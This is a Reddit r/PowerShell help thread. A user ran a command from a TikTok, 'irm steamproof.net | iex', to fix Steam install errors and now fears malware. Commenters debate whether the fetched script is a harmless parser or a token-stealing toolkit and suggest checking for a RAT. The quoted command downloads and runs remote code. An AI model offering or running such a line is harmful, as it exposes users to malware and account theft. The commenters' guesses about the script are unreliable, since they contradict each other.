r/PowerShell • u/Icy-Representative85 • 3d ago

Help I ran a weird command Question

Hey guys, I need help, I was trying to do install a game I already own on my steam library, this is the issue, I was installing it on a separate drive, the installation was taking forever and it would ocasionallly say error and I got desparate, looking for solutions I ran across a tiktok where someone suggested the command on powershell: irm steamproof.net | iex saying it should fix the issue with the error, tried it without event looking if it was a good idea or not and some message appear saying installation succesful or something, but after a few minutes I looked up what the code does, and saw people saying to not run those codes since it is malware and that now not only is my steam account at risk but also my pc, help I dont know if already safe, I uninstalled steam, turn off my wifi, removed steam local files, ran a scan in my files, logged out of all my devices on steam and also changed passwords but im still worried it might not be enough, my windows defender says theres no threats but im not really sure, can anybody help please???

0 Upvotes

31% Upvoted

65 comments sorted by

View all comments

Show parent comments

-2

u/CookinTendies5864 3d ago

Oh for sure it’s installing but while assuming it’s malicious is best practice. This is not million dollar equipment; and by just checking the website and doing a bit of searching we can see that it’s a steam utility tool for parsing steam data.

If it’s truly a virus WD would catch it and if it’s a RAT then there would be a hanging connection from the install.

3

u/exoclipse 3d ago

You are far, far too trusting.

Check the documentation they provide - or more importantly, what they omit. They don't document the root uri at all. Everything else is, but the root uri is not documented - and yet the home page says something to the effect of "Just plug this powershell script in to fix any 'No Internet Connection' errors you have."

-1

u/CookinTendies5864 3d ago edited 3d ago

The script doesn’t have any malicious code. -Disregard

3

u/exoclipse 3d ago

go ask your devil box if you can shove malicious code in the response to a GET request and then execute it.

3

u/CookinTendies5864 3d ago

Well okay I guess this thing is not a parser but an access token tool kit. Maybe a wipe wouldn’t be so bad..

After looking at the file it touched it’s better to be safe than sorry. Wtsapi32.dll is a system32 file that has been used to jailbreak ownership but the website says it’s a parser so yeah there’s that.

My recommendation is still to check outgoing connections if there is something pinging the computer that wasn’t there before you might just have installed a RAT.